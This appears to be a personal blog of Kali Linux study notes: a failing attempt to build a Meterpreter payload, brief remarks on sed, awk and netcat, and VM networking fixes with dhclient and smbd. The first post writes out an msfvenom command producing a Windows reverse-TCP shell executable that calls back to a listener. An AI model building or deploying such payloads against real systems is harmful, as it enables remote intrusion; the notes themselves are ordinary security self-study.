msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.1.49 LPORT=12345 -f exe > chapter4example.exe

…That’s not working either.  The output I am getting is:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes Final size of exe file: 73802 bytes

I think I am going to keep on going….. and it looks like the multi/handler module isn’t working either.  I’ll come back to this as well.

Data Manipulation and Netcat

Just got done with chapter 2.  Yeah, 17 days later.  Oh well…

The 2nd chapter for me was a bit of a regurgitation of basic Linux commands, other than a few Data Manipulation commands:

  • sed – this command is ideal for editing files based on certain patterns or expressions
  • awk – another pattern matching tool, but more robust

…and the book talks about Netcat.  Now we are working with networking.

Glad to back on the train.

dhclient and restarting smbd

When I installed Kali 2018.2, after bridging the network in VMWare, I wasn’t able to get to the network.  Through a Kali udemy course, I learned two commands that have been working for me in not only Kali, but other Linux machines to get an ip address and bridge the connection.  In Kali, you are root, so I didn’t need sudo.  If you are using a different user, you will need to sudo to run the commands (with the exception of ifconfig):

  • ifconfig

With ifconfig, look to see what your interface is (eth0, eth1).  Mine is eth0 in Kali, so I wil use that for the next command

  • dhclient eth0

DHCP Client, dhclient, provides a means for configuring one or more network interfaces using the Dynamic Host Configuration Protocol, BOOTP protocol, or if these protocols fail, by statically assigning an address.

  • service smbd restart

smbd is the server daemon that provides filesharing and printing services to Windows clients. The server provides filespace and printer services to clients using the SMB (or CIFS) protocol. This is compatible with the LanManager protocol, and can service LanManager clients. These include MSCLIENT 3.0 for DOS, Windows for Workgroups, Windows 95/98/ME, Windows NT, Windows 2000, OS/2, DAVE for Macintosh, and smbfs for Linux

Now try pinging google:

  • ping 8.8.8.8

You should be connected now.  Whoo!